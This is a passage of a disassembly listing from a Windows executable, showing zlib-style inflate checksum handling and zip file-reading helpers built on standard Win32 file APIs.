		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 9


loc_42E253:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E415o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E264
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E264:				; CODE XREF: sub_42DD65+4F5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		shl	eax, 10h
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ah


loc_42E2C1:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E419o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42E2D2
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E2D2:				; CODE XREF: sub_42DD65+563j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 8
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Bh


loc_42E32F:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E41Do
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42E340
		mov	eax, [ebp+var_8]
		jmp	loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E340:				; CODE XREF: sub_42DD65+5D1j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ecx+4]
		cmp	ecx, [eax+8]
		jz	short loc_42E3C7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_42E3E8
; ---------------------------------------------------------------------------


loc_42E3C7:				; CODE XREF: sub_42DD65+63Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch


loc_42E3D3:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E421o
		mov	eax, 1
		jmp	short loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E3DA:				; CODE XREF: sub_42DD65+56j
					; DATA XREF: HLXc:0042E425o
		mov	eax, 0FFFFFFFDh
		jmp	short loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E3E1:				; CODE XREF: sub_42DD65+4Dj
		mov	eax, 0FFFFFFFEh
		jmp	short loc_42E3ED
; ---------------------------------------------------------------------------


loc_42E3E8:				; CODE XREF: sub_42DD65+E5j
					; sub_42DD65+127j ...
		jmp	loc_42DDA3
; ---------------------------------------------------------------------------


loc_42E3ED:				; CODE XREF: sub_42DD65+22j
					; sub_42DD65+69j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DD65	endp

; ---------------------------------------------------------------------------
off_42E3F1	dd offset loc_42DDC2	; DATA XREF: sub_42DD65+56r
		dd offset loc_42DE9D
		dd offset loc_42DF56
		dd offset loc_42DFB9
		dd offset loc_42E027
		dd offset loc_42E095
		dd offset loc_42E119
		dd offset loc_42E146
		dd offset loc_42E1F0
		dd offset loc_42E253
		dd offset loc_42E2C1
		dd offset loc_42E32F
		dd offset loc_42E3D3
		dd offset loc_42E3DA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E429	proc near		; CODE XREF: sub_42FFCE+7Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_8], 1
		jz	short loc_42E451
		cmp	[ebp+arg_8], 2
		jz	short loc_42E451
		cmp	[ebp+arg_8], 3
		jz	short loc_42E451
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 10000h
		xor	eax, eax
		jmp	loc_42E5B7
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E429+Aj
					; sub_42E429+10j ...
		mov	[ebp+var_8], 0
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 0
		cmp	[ebp+arg_8], 1
		jz	short loc_42E475
		cmp	[ebp+arg_8], 2
		jnz	loc_42E50C


loc_42E475:				; CODE XREF: sub_42E429+40j
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E4BE
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_43309C	; GetCurrentProcess
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		call	dword_43309C	; GetCurrentProcess
		push	eax
		call	dword_4330A0	; DuplicateHandle
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_42E4BC
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 100h
		xor	eax, eax
		jmp	loc_42E5B7
; ---------------------------------------------------------------------------


loc_42E4BC:				; CODE XREF: sub_42E429+81j
		jmp	short loc_42E4F3
; ---------------------------------------------------------------------------


loc_42E4BE:				; CODE XREF: sub_42E429+50j
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_42E4F3
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 200h
		xor	eax, eax
		jmp	loc_42E5B7
; ---------------------------------------------------------------------------


loc_42E4F3:				; CODE XREF: sub_42E429:loc_42E4BCj
					; sub_42E429+B8j
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4330A4	; GetFileType
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	[ebp+var_10], 1
		setz	al
		mov	byte ptr [ebp+var_4], al


loc_42E50C:				; CODE XREF: sub_42E429+46j
		push	1Ch
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_C], ecx
		cmp	[ebp+arg_8], 1
		jz	short loc_42E52B
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E578


loc_42E52B:				; CODE XREF: sub_42E429+FAj
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	1
		mov	eax, [ebp+var_C]
		mov	cl, byte ptr [ebp+var_4]
		mov	[eax+1], cl
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_42E576
		push	1
		push	0
		push	0
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4330A8	; SetFilePointer
		mov	edx, [ebp+var_C]
		mov	[edx+0Ch], eax


loc_42E576:				; CODE XREF: sub_42E429+135j
		jmp	short loc_42E5AB
; ---------------------------------------------------------------------------


loc_42E578:				; CODE XREF: sub_42E429+100j
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx+1], 1
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+10h], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+0Ch], 0


loc_42E5AB:				; CODE XREF: sub_42E429:loc_42E576j
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_C]


loc_42E5B7:				; CODE XREF: sub_42E429+23j
					; sub_42E429+8Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5BB	proc near		; CODE XREF: sub_42EBC2+28p
					; sub_42EBC2+19Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E5CA
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E5F6
; ---------------------------------------------------------------------------


loc_42E5CA:				; CODE XREF: sub_42E5BB+8j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E5E2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	dword_433020	; CloseHandle


loc_42E5E2:				; CODE XREF: sub_42E5BB+18j
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43161E
		add	esp, 4
		xor	eax, eax


loc_42E5F6:				; CODE XREF: sub_42E5BB+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E5BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5FA	proc near		; CODE XREF: sub_42E7EE+39p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E61B
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+8]
		test	eax, eax
		jz	short loc_42E61B
		mov	eax, 1
		jmp	short loc_42E61D
; ---------------------------------------------------------------------------


loc_42E61B:				; CODE XREF: sub_42E5FA+Cj
					; sub_42E5FA+18j
		xor	eax, eax


loc_42E61D:				; CODE XREF: sub_42E5FA+1Fj
		pop	ebp
		retn
sub_42E5FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E61F	proc near		; CODE XREF: sub_42EA31+25p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E654
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42E654
		push	1
		push	0
		push	0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		call	dword_4330A8	; SetFilePointer
		mov	ecx, [ebp+arg_0]
		sub	eax, [ecx+0Ch]
		jmp	short loc_42E669
; ---------------------------------------------------------------------------


loc_42E654:				; CODE XREF: sub_42E61F+Cj
					; sub_42E61F+18j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42E663
		xor	eax, eax
		jmp	short loc_42E669
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E61F+3Ej
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+18h]


loc_42E669:				; CODE XREF: sub_42E61F+33j
					; sub_42E61F+42j
		pop	ebp
		retn
sub_42E61F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E66B	proc near		; CODE XREF: sub_42EA31+Ep
					; sub_42EA31+D7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42E6ED
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42E6ED
		cmp	[ebp+arg_8], 0
		jnz	short loc_42E6A8
		push	0
		push	0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		add	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A8	; SetFilePointer
		jmp	short loc_42E6E9
; ---------------------------------------------------------------------------


loc_42E6A8:				; CODE XREF: sub_42E66B+1Ej
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E6C5
		push	1
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A8	; SetFilePointer
		jmp	short loc_42E6E9
; ---------------------------------------------------------------------------


loc_42E6C5:				; CODE XREF: sub_42E66B+41j
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E6E2
		push	2
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4330A8	; SetFilePointer
		jmp	short loc_42E6E9
; ---------------------------------------------------------------------------


loc_42E6E2:				; CODE XREF: sub_42E66B+5Ej
		mov	eax, 13h
		jmp	short loc_42E73E
; ---------------------------------------------------------------------------


loc_42E6E9:				; CODE XREF: sub_42E66B+3Bj
					; sub_42E66B+58j ...
		xor	eax, eax
		jmp	short loc_42E73E
; ---------------------------------------------------------------------------


loc_42E6ED:				; CODE XREF: sub_42E66B+Cj
					; sub_42E66B+18j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42E6FF
		mov	eax, 1Dh
		jmp	short loc_42E73E
; ---------------------------------------------------------------------------


loc_42E6FF:				; CODE XREF: sub_42E66B+8Bj
		cmp	[ebp+arg_8], 0
		jnz	short loc_42E710
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ecx+18h], edx
		jmp	short loc_42E73C
; ---------------------------------------------------------------------------


loc_42E710:				; CODE XREF: sub_42E66B+98j
		cmp	[ebp+arg_8], 1
		jnz	short loc_42E727
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx
		jmp	short loc_42E73C
; ---------------------------------------------------------------------------


loc_42E727:				; CODE XREF: sub_42E66B+A9j
		cmp	[ebp+arg_8], 2
		jnz	short loc_42E73C
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx


loc_42E73C:				; CODE XREF: sub_42E66B+A3j
					; sub_42E66B+BAj ...
		xor	eax, eax


loc_42E73E:				; CODE XREF: sub_42E66B+7Cj
					; sub_42E66B+80j ...
		pop	ebp
		retn
sub_42E66B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E740	proc near		; CODE XREF: sub_42E7EE+12p
					; sub_42EA31+F6p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42E790
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_43301C	; ReadFile
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42E786
		mov	edx, [ebp+arg_C]
		mov	byte ptr [edx+8], 1


loc_42E786:				; CODE XREF: sub_42E740+3Dj
		mov	eax, [ebp+var_10]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_42E7EA
; ---------------------------------------------------------------------------


loc_42E790:				; CODE XREF: sub_42E740+19j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_C]
		cmp	ecx, [edx+14h]
		jbe	short loc_42E7B0
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_C]
		mov	edx, [eax+14h]
		sub	edx, [ecx+18h]
		mov	[ebp+var_8], edx


loc_42E7B0:				; CODE XREF: sub_42E740+5Fj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+10h]
		mov	eax, [ebp+arg_C]
		add	edx, [eax+18h]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx+18h], ecx
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	[ebp+arg_4]


loc_42E7EA:				; CODE XREF: sub_42E740+4Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42E740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E7EE	proc near		; CODE XREF: sub_42E83E+Ep
					; sub_42E83E+2Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		push	1
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_42E740
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jnz	short loc_42E823
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		xor	eax, eax
		jmp	short loc_42E83A
; ---------------------------------------------------------------------------


loc_42E823:				; CODE XREF: sub_42E7EE+21j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E5FA
		add	esp, 4
		test	eax, eax
		jz	short loc_42E838
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E83A
; ---------------------------------------------------------------------------


loc_42E838:				; CODE XREF: sub_42E7EE+43j
		xor	eax, eax


loc_42E83A:				; CODE XREF: sub_42E7EE+33j
					; sub_42E7EE+48j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E7EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E83E	proc near		; CODE XREF: sub_42EBC2+9Ap
					; sub_42EBC2+B5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42E876
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E876:				; CODE XREF: sub_42E83E+23j
		mov	edx, [ebp+var_C]
		shl	edx, 8
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42E894
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		jmp	short loc_42E89D
; ---------------------------------------------------------------------------


loc_42E894:				; CODE XREF: sub_42E83E+4Aj
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0


loc_42E89D:				; CODE XREF: sub_42E83E+54j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E83E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E8A4	proc near		; CODE XREF: sub_42EBC2+7Fp
					; sub_42EBC2+127p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42E8DC
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E8DC:				; CODE XREF: sub_42E8A4+23j
		mov	edx, [ebp+var_C]
		shl	edx, 8
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42E903
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E903:				; CODE XREF: sub_42E8A4+4Aj
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_42E92A
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E7EE
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E92A:				; CODE XREF: sub_42E8A4+71j
		mov	ecx, [ebp+var_C]
		shl	ecx, 18h
		mov	edx, [ebp+var_8]
		add	edx, ecx
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42E948
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_42E951
; ---------------------------------------------------------------------------


loc_42E948:				; CODE XREF: sub_42E8A4+98j
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0


loc_42E951:				; CODE XREF: sub_42E8A4+A2j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E8A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E958	proc near		; CODE XREF: sub_42EA04+23p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8


loc_42E95E:				; CODE XREF: sub_42E958:loc_42E9FBj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		movsx	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	short loc_42E99B
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 7Ah
		jg	short loc_42E99B
		mov	dl, [ebp+var_4]
		sub	dl, 20h
		mov	[ebp+var_4], dl


loc_42E99B:				; CODE XREF: sub_42E958+2Fj
					; sub_42E958+38j
		movsx	eax, [ebp+var_8]
		cmp	eax, 61h
		jl	short loc_42E9B6
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 7Ah
		jg	short loc_42E9B6
		mov	dl, [ebp+var_8]
		sub	dl, 20h
		mov	[ebp+var_8], dl


loc_42E9B6:				; CODE XREF: sub_42E958+4Aj
					; sub_42E958+53j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_42E9C8
		movsx	eax, [ebp+var_8]
		neg	eax
		sbb	eax, eax
		jmp	short loc_42EA00
; ---------------------------------------------------------------------------


loc_42E9C8:				; CODE XREF: sub_42E958+64j
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jnz	short loc_42E9D7
		mov	eax, 1
		jmp	short loc_42EA00
; ---------------------------------------------------------------------------


loc_42E9D7:				; CODE XREF: sub_42E958+76j
		movsx	edx, [ebp+var_4]
		movsx	eax, [ebp+var_8]
		cmp	edx, eax
		jge	short loc_42E9E8
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EA00
; ---------------------------------------------------------------------------


loc_42E9E8:				; CODE XREF: sub_42E958+89j
		movsx	ecx, [ebp+var_4]
		movsx	edx, [ebp+var_8]
		cmp	ecx, edx
		jle	short loc_42E9FB
		mov	eax, 1
		jmp	short loc_42EA00
; ---------------------------------------------------------------------------


loc_42E9FB:				; CODE XREF: sub_42E958+9Aj
		jmp	loc_42E95E
; ---------------------------------------------------------------------------


loc_42EA00:				; CODE XREF: sub_42E958+6Ej
					; sub_42E958+7Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E958	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA04	proc near		; CODE XREF: sub_42F43A+D5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 1
		jnz	short loc_42EA1F
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4317B4	; strcmp
		add	esp, 8
		jmp	short loc_42EA2F
; ---------------------------------------------------------------------------


loc_42EA1F:				; CODE XREF: sub_42EA04+7j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E958
		add	esp, 8


loc_42EA2F:				; CODE XREF: sub_42EA04+19j
		pop	ebp
		retn
sub_42EA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA31	proc near		; CODE XREF: sub_42EBC2+42p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EA52
		xor	eax, eax
		jmp	loc_42EBBE
; ---------------------------------------------------------------------------


loc_42EA52:				; CODE XREF: sub_42EA31+18j
